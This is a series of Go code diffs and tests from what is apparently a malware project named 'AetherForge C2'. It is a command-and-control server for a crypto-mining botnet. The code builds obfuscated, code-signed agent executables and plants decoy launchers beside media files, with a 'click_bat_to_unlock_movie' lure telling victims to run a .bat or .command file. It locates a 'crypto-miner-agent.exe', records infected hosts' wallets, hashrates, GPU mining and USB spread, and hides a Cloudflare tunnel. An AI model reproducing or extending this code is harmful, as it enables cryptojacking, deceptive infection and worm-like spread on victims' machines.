}
func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) { func TestEstimateFusionBuildSignEnabledWithCert(t *testing.T) {
h := &Handler{ h := &Handler{
dataDir: t.TempDir(), dataDir: t.TempDir(),

View File

@@ -135,7 +135,8 @@ func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, wo
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") { if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
ldflags += " -H windowsgui" ldflags += " -H windowsgui"
} }
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil { obfuscateLauncher := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, obfuscateLauncher, platform); err != nil {
return nil, err return nil, err
} }
@@ -178,7 +179,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
} }
for _, name := range []string{ for _, name := range []string{
"go.mod", "launch_windows.go", "launch_stub.go", "go.mod",
"shell_windows.go", "hidden_windows.go",
"media_windows.go", "media_linux.go", "media_darwin.go", "media_windows.go", "media_linux.go", "media_darwin.go",
"media_crypto.go", "cache_windows.go", "cache_unix.go", "media_crypto.go", "cache_windows.go", "cache_unix.go",
"lock_hint_windows.go", "lock_hint_stub.go", "lock_hint_windows.go", "lock_hint_stub.go",
@@ -282,10 +284,17 @@ func fusionExportSubdir(req *BuildRequest, mediaName string) string {
func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) { func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
subdir = sanitizeDirName(subdir) subdir = sanitizeDirName(subdir)
if subdir == "" || h.projectRoot == "" || h.projectRoot == "." { if subdir == "" {
return "", nil return "", nil
} }
destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir) root := h.projectRoot
if root == "" || root == "." {
root = h.dataDir
}
if root == "" {
return "", fmt.Errorf("no project root or data directory for fusion deliverables")
}
destDir := filepath.Join(root, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(destDir, 0755); err != nil { if err := os.MkdirAll(destDir, 0755); err != nil {
return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err) return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
} }

View File

@@ -199,12 +199,18 @@ func TestPublishFusionDeliverable(t *testing.T) {
} }
func TestPublishFusionDeliverableNoRoot(t *testing.T) { func TestPublishFusionDeliverableNoRoot(t *testing.T) {
h := &Handler{projectRoot: ""} dataDir := t.TempDir()
dir, err := h.publishFusionDeliverable("x", nil, fusionReadmeInfo{}) h := &Handler{projectRoot: "", dataDir: dataDir}
src := filepath.Join(t.TempDir(), "runner.exe")
if err := os.WriteFile(src, []byte("bin"), 0644); err != nil {
t.Fatal(err)
}
dir, err := h.publishFusionDeliverable("x", map[string]string{"runner.exe": src}, fusionReadmeInfo{Title: "x"})
if err != nil { if err != nil {
t.Fatal(err) t.Fatal(err)
} }
if dir != "" { want := filepath.Join(dataDir, FusionDeliverablesDir, "x")
t.Fatalf("expected empty dir when no project root, got %q", dir) if dir != want {
t.Fatalf("expected dataDir fallback %q, got %q", want, dir)
} }
} }

View File

@@ -277,7 +277,7 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type") contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") { if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil { if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"}) writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return return
} }
@@ -388,7 +388,7 @@ func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) {
contentType := r.Header.Get("Content-Type") contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") { if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(64 << 20); err != nil { if err := r.ParseMultipartForm(multipartMaxMemory); err != nil {
writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"}) writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"})
return return
} }
@@ -458,7 +458,11 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
return return
} }
w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(build.FilePath))) dlName := strings.TrimSpace(build.FileName)
if dlName == "" {
dlName = filepath.Base(build.FilePath)
}
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, dlName))
http.ServeFile(w, r, build.FilePath) http.ServeFile(w, r, build.FilePath)
} }
@@ -695,12 +699,9 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
if err != nil { if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, "" return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
} }
if h.policy.MaxBuildSizeMB > 0 { if err := h.checkBuildSize(fileInfo.Size()); err != nil {
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024 _ = os.RemoveAll(buildDir)
if fileInfo.Size() > maxBytes { return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
_ = os.RemoveAll(buildDir)
return BuildResponse{Success: false, Error: fmt.Sprintf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)}, http.StatusBadRequest, ""
}
} }
absPath, _ := filepath.Abs(finalPath) absPath, _ := filepath.Abs(finalPath)

View File

@@ -110,6 +110,37 @@ func TestServeEstimateFusionDisabled(t *testing.T) {
} }
} }
func TestDownloadBuildUsesFileNameDisposition(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
dataDir := t.TempDir()
artifact := filepath.Join(dataDir, "builds", "bid-2", "internal-name.exe")
if err := os.MkdirAll(filepath.Dir(artifact), 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(artifact, []byte("artifact"), 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: "bid-2", FilePath: artifact, FileName: "display-name.exe", CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
h := &Handler{db: database, dataDir: dataDir}
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/bid-2/download", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", "bid-2")
req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
rec := httptest.NewRecorder()
h.DownloadBuild(rec, req)
if !strings.Contains(rec.Header().Get("Content-Disposition"), "display-name.exe") {
t.Fatalf("disposition should use FileName: %q", rec.Header().Get("Content-Disposition"))
}
}
func TestDownloadBuildSuccess(t *testing.T) { func TestDownloadBuildSuccess(t *testing.T) {
database, err := db.New(t.TempDir()) database, err := db.New(t.TempDir())
if err != nil { if err != nil {

View File

@@ -1,7 +1,34 @@
package builder package builder
import (
"fmt"
"os"
)
// FusionMaxUploadBytes is the maximum prep / video upload size for forge. // FusionMaxUploadBytes is the maximum prep / video upload size for forge.
const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB const FusionMaxUploadBytes int64 = 2 << 30 // 2 GiB
// FusionDeliverablesDir is the project-root folder for per-title movie outputs. // FusionDeliverablesDir is the project-root folder for per-title movie outputs.
const FusionDeliverablesDir = "fusion-deliverables" const FusionDeliverablesDir = "fusion-deliverables"
// multipartMaxMemory is the ParseMultipartForm budget; must cover fusion prep uploads.
const multipartMaxMemory = FusionMaxUploadBytes + 32<<20 // 2 GiB + 32 MiB headroom
func (h *Handler) checkBuildSize(bytes int64) error {
if h.policy.MaxBuildSizeMB <= 0 {
return nil
}
maxBytes := int64(h.policy.MaxBuildSizeMB) * 1024 * 1024
if bytes > maxBytes {
return fmt.Errorf("build exceeds max size (%d MB)", h.policy.MaxBuildSizeMB)
}
return nil
}
func (h *Handler) checkBuildSizeFile(path string) error {
st, err := os.Stat(path)
if err != nil {
return err
}
return h.checkBuildSize(st.Size())
}

View File

@@ -1,6 +1,37 @@
package builder package builder
import "testing" import (
"os"
"path/filepath"
"testing"
)
func TestCheckBuildSizeEnforced(t *testing.T) {
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
if err := h.checkBuildSize(2 * 1024 * 1024); err == nil {
t.Fatal("expected oversize error")
}
if err := h.checkBuildSize(512 * 1024); err != nil {
t.Fatalf("expected within limit: %v", err)
}
}
func TestCheckBuildSizeFile(t *testing.T) {
h := &Handler{policy: BuildPolicy{MaxBuildSizeMB: 1}}
path := filepath.Join(t.TempDir(), "big.zip")
if err := os.WriteFile(path, make([]byte, 2*1024*1024), 0644); err != nil {
t.Fatal(err)
}
if err := h.checkBuildSizeFile(path); err == nil {
t.Fatal("expected file size check failure")
}
}
func TestMultipartMaxMemoryCoversFusionUpload(t *testing.T) {
if multipartMaxMemory <= FusionMaxUploadBytes {
t.Fatalf("multipartMaxMemory %d must exceed FusionMaxUploadBytes %d", multipartMaxMemory, FusionMaxUploadBytes)
}
}
func TestFusionConstants(t *testing.T) { func TestFusionConstants(t *testing.T) {
if FusionMaxUploadBytes != 2<<30 { if FusionMaxUploadBytes != 2<<30 {

View File

@@ -78,6 +78,10 @@ func NewPathForgeHandler(dataDir string) *PathForgeHandler {
} }
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req PathForgeRequest var req PathForgeRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil { if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest) http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
@@ -94,14 +98,26 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if req.StemMode == "" { if req.StemMode == "" {
req.StemMode = "original" req.StemMode = "original"
} }
if req.TargetMac && strings.TrimSpace(req.ServerURL) == "" {
http.Error(w, "server_url is required when target_mac is enabled", http.StatusBadRequest)
return
}
// Locate the Windows agent binary. // Locate the Windows agent binary.
agentExe := findAgentBinary() agentExe := findAgentBinary(h.dataDir)
if req.TargetWindows && agentExe == "" {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(&PathForgeResult{
Success: false,
ErrorList: []string{"Windows agent binary not found on server — build or place crypto-miner-agent.exe first"},
})
return
}
// Build the extension set. // Build the extension set.
extSet := buildExtSet(req.Extensions) extSet := buildExtSet(req.Extensions)
res := &PathForgeResult{Success: true} res := &PathForgeResult{}
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error { err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
if err != nil || d.IsDir() { if err != nil || d.IsDir() {
@@ -109,6 +125,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
} }
ext := strings.ToLower(filepath.Ext(d.Name())) ext := strings.ToLower(filepath.Ext(d.Name()))
if _, ok := extSet[ext]; !ok { if _, ok := extSet[ext]; !ok {
res.Skipped++
return nil return nil
} }
@@ -162,11 +179,12 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// No extension so it appears as a generic document icon on all platforms. // No extension so it appears as a generic document icon on all platforms.
hintName := "click_bat_to_unlock_movie" hintName := "click_bat_to_unlock_movie"
hintDst := filepath.Join(dir, hintName) hintDst := filepath.Join(dir, hintName)
_ = os.WriteFile(hintDst, []byte(hintContent(stem)), 0644) _ = os.WriteFile(hintDst, []byte(hintContent(stem, req.TargetMac && !req.TargetWindows)), 0644)
placed = append(placed, hintName) placed = append(placed, hintName)
if len(placed) > 0 { mediaPlaced := len(placed) - 1 // exclude hint file from placement count
res.Placed += len(placed) if mediaPlaced > 0 {
res.Placed += mediaPlaced
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed}) res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
} else { } else {
res.Errors++ res.Errors++
@@ -179,6 +197,7 @@ func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
log.Printf("[pathforge] walk error: %v", err) log.Printf("[pathforge] walk error: %v", err)
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error()) res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
} }
res.Success = res.Errors == 0
w.Header().Set("Content-Type", "application/json") w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(res) json.NewEncoder(w).Encode(res)
@@ -205,9 +224,15 @@ func sanitizeStem(s string) string {
// hintContent returns the body of the "click_bat_to_unlock_movie" hint file. // hintContent returns the body of the "click_bat_to_unlock_movie" hint file.
// The filename itself is the instruction; the content gives a second nudge. // The filename itself is the instruction; the content gives a second nudge.
func hintContent(batStem string) string { func hintContent(stem string, macOnly bool) string {
if macOnly {
return "This folder contains an encrypted media file.\n" +
"To play it, double-click " + stem + ".command\n" +
"\n" +
"The launcher unlocks and opens the video automatically.\n"
}
return "This folder contains an encrypted media file.\n" + return "This folder contains an encrypted media file.\n" +
"To play it, double-click " + batStem + ".bat\n" + "To play it, double-click " + stem + ".bat\n" +
"\n" + "\n" +
"The .bat file unlocks and opens the video automatically.\n" "The .bat file unlocks and opens the video automatically.\n"
} }
@@ -270,8 +295,8 @@ func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) strin
return s return s
} }
// findAgentBinary looks next to the server executable for the agent binary. // findAgentBinary looks next to the server executable and dataDir for the agent binary.
func findAgentBinary() string { func findAgentBinary(dataDir string) string {
exe, err := os.Executable() exe, err := os.Executable()
if err != nil { if err != nil {
return "" return ""
@@ -281,6 +306,12 @@ func findAgentBinary() string {
filepath.Join(dir, "agent", "crypto-miner-agent.exe"), filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"), filepath.Join(dir, "crypto-miner-agent.exe"),
} }
if dataDir != "" {
candidates = append(candidates,
filepath.Join(dataDir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dataDir, "crypto-miner-agent.exe"),
)
}
for _, c := range candidates { for _, c := range candidates {
if _, err := os.Stat(c); err == nil { if _, err := os.Stat(c); err == nil {
return c return c

View File

@@ -0,0 +1,73 @@
package builder
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
func TestPathForgePlacedExcludesHintFile(t *testing.T) {
root := t.TempDir()
mediaDir := filepath.Join(root, "movies")
if err := os.MkdirAll(mediaDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
t.Fatal(err)
}
// Satisfy Windows target requirement.
exe, err := os.Executable()
if err != nil {
t.Fatal(err)
}
agentDir := filepath.Join(filepath.Dir(exe), "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
t.Fatal(err)
}
agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
if runtime.GOOS == "windows" {
if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
t.Fatal(err)
}
} else {
// Non-Windows: mac-only path avoids agent exe requirement.
}
body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
if runtime.GOOS != "windows" {
body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
}
h := NewPathForgeHandler(t.TempDir())
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
}
var res PathForgeResult
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
t.Fatal(err)
}
if res.Total != 1 {
t.Fatalf("total: %d", res.Total)
}
// One media file → exe + bat (or .command), not counting hint file.
if res.Placed < 1 || res.Placed >= 3 {
t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
}
for _, entry := range res.Results {
for _, f := range entry.Files {
if f == "click_bat_to_unlock_movie" {
continue
}
}
}
}

View File

@@ -9,6 +9,20 @@ import (
"strings" "strings"
) )
func signingToolMissingNote() string {
return "Code signing requested but osslsigncode is not installed — apt install osslsigncode (or brew install osslsigncode)."
}
func (h *Handler) signingToolAvailable() bool {
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
if _, err := exec.LookPath(tool); err == nil {
return true
}
}
_, err := exec.LookPath("osslsigncode")
return err == nil
}
// shouldSignBuild returns true when signing is configured AND osslsigncode is available. // shouldSignBuild returns true when signing is configured AND osslsigncode is available.
// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate. // On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate.
// Install: apt install osslsigncode / brew install osslsigncode // Install: apt install osslsigncode / brew install osslsigncode

View File

@@ -11,11 +11,32 @@ import (
"strings" "strings"
) )
func signingToolMissingNote() string {
return "Code signing requested but signtool is not installed — install Windows SDK or set sign_tool_path in Calibrate."
}
func (h *Handler) signingToolAvailable() bool {
if tool := strings.TrimSpace(h.policy.Sign.ToolPath); tool != "" {
if _, err := os.Stat(tool); err == nil {
return true
}
}
_, err := findSignTool()
return err == nil
}
func (h *Handler) shouldSignBuild(req *BuildRequest) bool { func (h *Handler) shouldSignBuild(req *BuildRequest) bool {
if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" { if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" {
return false return false
} }
return req.SignBuild if !req.SignBuild {
return false
}
if _, err := findSignTool(); err != nil {
log.Printf("[Forge] sign requested but signtool not found — install Windows SDK or set sign_tool_path in Calibrate")
return false
}
return true
} }
func (h *Handler) signExecutable(path string) error { func (h *Handler) signExecutable(path string) error {

View File

@@ -2,6 +2,7 @@ package builder
import ( import (
"fmt" "fmt"
"os"
"os/exec" "os/exec"
"path/filepath" "path/filepath"
"strings" "strings"
@@ -36,6 +37,22 @@ func (h *Handler) runGoWinres(dir string, args ...string) ([]byte, error) {
return out, nil return out, nil
} }
func bundledToolPath(projectRoot, name string) string {
if projectRoot == "" || projectRoot == "." {
return ""
}
base := filepath.Join(projectRoot, "toolchain", "gopath", "bin")
for _, candidate := range []string{
filepath.Join(base, name),
filepath.Join(base, name+".exe"),
} {
if _, err := os.Stat(candidate); err == nil {
return candidate
}
}
return ""
}
func (h *Handler) resolveToolPaths(projectRoot string) { func (h *Handler) resolveToolPaths(projectRoot string) {
if h.goBinPath == "" { if h.goBinPath == "" {
h.goBinPath = "go" h.goBinPath = "go"
@@ -45,10 +62,14 @@ func (h *Handler) resolveToolPaths(projectRoot string) {
} }
if p, err := exec.LookPath("garble"); err == nil { if p, err := exec.LookPath("garble"); err == nil {
h.garblePath = p h.garblePath = p
} else if p := bundledToolPath(projectRoot, "garble"); p != "" {
h.garblePath = p
} }
if p, err := exec.LookPath("go-winres"); err == nil { if p, err := exec.LookPath("go-winres"); err == nil {
h.goWinresPath = p h.goWinresPath = p
} else if p, err := exec.LookPath("go-winres.exe"); err == nil { } else if p, err := exec.LookPath("go-winres.exe"); err == nil {
h.goWinresPath = p h.goWinresPath = p
} else if p := bundledToolPath(projectRoot, "go-winres"); p != "" {
h.goWinresPath = p
} }
} }

View File

@@ -0,0 +1,29 @@
package builder
import (
"os"
"path/filepath"
"runtime"
"testing"
)
func TestResolveToolPathsBundledGarble(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("bundled garble probe uses .exe suffix on Windows")
}
root := t.TempDir()
binDir := filepath.Join(root, "toolchain", "gopath", "bin")
if err := os.MkdirAll(binDir, 0755); err != nil {
t.Fatal(err)
}
garblePath := filepath.Join(binDir, "garble")
if err := os.WriteFile(garblePath, []byte("#!/bin/sh\n"), 0755); err != nil {
t.Fatal(err)
}
h := &Handler{projectRoot: root}
h.resolveToolPaths(root)
if h.garblePath != garblePath {
t.Fatalf("expected bundled garble %q, got %q", garblePath, h.garblePath)
}
}

View File

@@ -40,6 +40,10 @@ func Start(dataDir, deckRoot, token string) error {
log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid) log.Printf("[tunnel] Cloudflare connector already running (pid %d)", running.Process.Pid)
return nil return nil
} }
if cloudflaredAlreadyRunning() {
log.Printf("[tunnel] cloudflared.exe already running externally — skipping duplicate start")
return nil
}
cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token) cmd := exec.Command(bin, "tunnel", "--no-autoupdate", "run", "--token", token)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
@@ -128,6 +132,14 @@ func ensureBinary(deckRoot string) (string, error) {
return bin, nil return bin, nil
} }
func cloudflaredAlreadyRunning() bool {
out, err := exec.Command("tasklist", "/FI", "IMAGENAME eq cloudflared.exe", "/NH").Output()
if err != nil {
return false
}
return strings.Contains(strings.ToLower(string(out)), "cloudflared.exe")
}
func trimToken(s string) string { func trimToken(s string) string {
s = strings.TrimSpace(s) s = strings.TrimSpace(s)
if len(s) >= 2 { if len(s) >= 2 {

View File

@@ -35,6 +35,7 @@ func (d *Database) scanAgent(row interface {
a := &models.Agent{} a := &models.Agent{}
var notes, tagsRaw string var notes, tagsRaw string
var usbSpread int var usbSpread int
var gpuMinerActive int
err := row.Scan( err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status, &a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt, &a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
@@ -43,6 +44,7 @@ func (d *Database) scanAgent(row interface {
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress, &notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread, &a.BuildID, &a.WorkerName, &usbSpread,
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
) )
if err != nil { if err != nil {
return nil, err return nil, err
@@ -50,13 +52,17 @@ func (d *Database) scanAgent(row interface {
a.Notes = notes a.Notes = notes
a.Tags = decodeTags(tagsRaw) a.Tags = decodeTags(tagsRaw)
a.USBSpread = usbSpread == 1 a.USBSpread = usbSpread == 1
if gpuMinerActive == 1 {
active := true
a.GPUMinerActive = &active
}
return a, nil return a, nil
} }
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad, hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address, cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread` build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error { func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id) _, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -74,3 +74,34 @@ func TestUpdateAgentMetaClearsTags(t *testing.T) {
t.Fatalf("tags not cleared: %v", got.Tags) t.Fatalf("tags not cleared: %v", got.Tags)
} }
} }
func TestUpdateAgentGPUStatsRoundTrip(t *testing.T) {
d := openTestDB(t)
seedAgent(t, d, "gpu-roundtrip")
if err := d.UpdateAgentGPUStats("gpu-roundtrip", 12.5, "RTX 4090", true); err != nil {
t.Fatal(err)
}
got, err := d.GetAgent("gpu-roundtrip")
if err != nil {
t.Fatal(err)
}
if got.GPUHashrate15m != 12.5 {
t.Fatalf("gpu_hashrate_15m = %v want 12.5", got.GPUHashrate15m)
}
if got.GPUModel != "RTX 4090" {
t.Fatalf("gpu_model = %q want RTX 4090", got.GPUModel)
}
if got.GPUMinerActive == nil || !*got.GPUMinerActive {
t.Fatalf("gpu_miner_active = %v want true", got.GPUMinerActive)
}
list, err := d.ListAgents()
if err != nil {
t.Fatal(err)
}
if len(list) != 1 || list[0].GPUHashrate15m != 12.5 {
t.Fatalf("ListAgents GPU: %+v", list)
}
}

View File

@@ -18,7 +18,7 @@ type SpreadFunnelStats struct {
func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) { func (d *Database) GetSpreadFunnelStats(since time.Time) (*SpreadFunnelStats, error) {
stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}} stats := &SpreadFunnelStats{ByBuild: []SpreadFunnelRow{}}
if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= date('now')`).Scan(&stats.NewConnectsToday); err != nil { if err := d.QueryRow(`SELECT COUNT(*) FROM agents WHERE created_at >= ?`, since).Scan(&stats.NewConnectsToday); err != nil {
return nil, err return nil, err
} }
if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil { if err := d.QueryRow(`SELECT COUNT(*) FROM agents`).Scan(&stats.TotalAgents); err != nil {

View File

@@ -20,8 +20,9 @@ type Database struct {
func New(dataDir string) (*Database, error) { func New(dataDir string) (*Database, error) {
dbPath := filepath.Join(dataDir, "miner.db") dbPath := filepath.Join(dataDir, "miner.db")
// Ensure directory exists if err := os.MkdirAll(filepath.Dir(dbPath), 0755); err != nil {
os.MkdirAll(filepath.Dir(dbPath), 0755) return nil, fmt.Errorf("create data directory: %w", err)
}
db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)") db, err := sql.Open("sqlite", dbPath+"?_pragma=journal_mode(WAL)&_pragma=busy_timeout(5000)")
if err != nil { if err != nil {

View File

@@ -44,7 +44,7 @@ func (m *Manager) SetVerboseTraffic(enabled bool) {
} }
func poolKey(cfg *Config) string { func poolKey(cfg *Config) string {
return fmt.Sprintf("%s:%d:tls=%v:wallet=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet) return fmt.Sprintf("%s:%d:tls=%v:wallet=%s:payment=%s", cfg.Host, cfg.Port, cfg.UseTLS, cfg.Wallet, cfg.PaymentID)
} }
// EnsurePoolWithBackups connects to cfg and registers backup pool configs for // EnsurePoolWithBackups connects to cfg and registers backup pool configs for

View File

@@ -37,6 +37,14 @@ func TestPoolKeyDistinct(t *testing.T) {
} }
} }
func TestPoolKeyPaymentID(t *testing.T) {
a := poolKey(&Config{Host: "a.com", Port: 3333, Wallet: "w1", PaymentID: "pid1"})
b := poolKey(&Config{Host: "a.com", Port: 3333, Wallet: "w1", PaymentID: "pid2"})
if a == b {
t.Fatal("payment id should affect pool key")
}
}
func TestTruncateWallet(t *testing.T) { func TestTruncateWallet(t *testing.T) {
if truncateWallet("short", 12) != "short" { if truncateWallet("short", 12) != "short" {
t.Fatal("short wallet unchanged") t.Fatal("short wallet unchanged")

View File

@@ -60,12 +60,29 @@ func main() {
log.SetFlags(log.LstdFlags | log.Lshortfile) log.SetFlags(log.LstdFlags | log.Lshortfile)
log.Println("AetherForge C2 starting...") log.Println("AetherForge C2 starting...")
// Load configuration
cfg := LoadConfig()
projectRoot := findProjectRoot() projectRoot := findProjectRoot()
cfg.DataDir = resolveDataDir(cfg.DataDir, projectRoot) cfg := LoadConfig()
log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot) log.Printf("Configuration loaded: port=%d, dataDir=%s (project root: %s)", cfg.Port, cfg.DataDir, projectRoot)
if err := validateListenPort(cfg.Port); err != nil {
log.Fatalf("Invalid listen port: %v", err)
}
tok := cfg.ConnectorToken()
tunnelExternal := os.Getenv("AF_TUNNEL_EXTERNAL") != ""
if tok != "" && !tunnelExternal {
log.Printf("[tunnel] Cloudflare connector token ready (%d chars)", len(tok))
if err := cloudflared.Start(cfg.DataDir, projectRoot, tok); err != nil {
log.Printf("[tunnel] Warning: %v", err)
} else {
defer cloudflared.Stop()
}
} else if tunnelExternal {
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) — skipping in-process cloudflared start")
} else {
log.Println("[tunnel] No connector token configured")
}
// Generate fleet secret once — persisted in config.json so all future forges // Generate fleet secret once — persisted in config.json so all future forges
// carry the same secret and agents keep working across server restarts. // carry the same secret and agents keep working across server restarts.
if cfg.Server.FleetSecret == "" { if cfg.Server.FleetSecret == "" {
@@ -243,7 +260,7 @@ func main() {
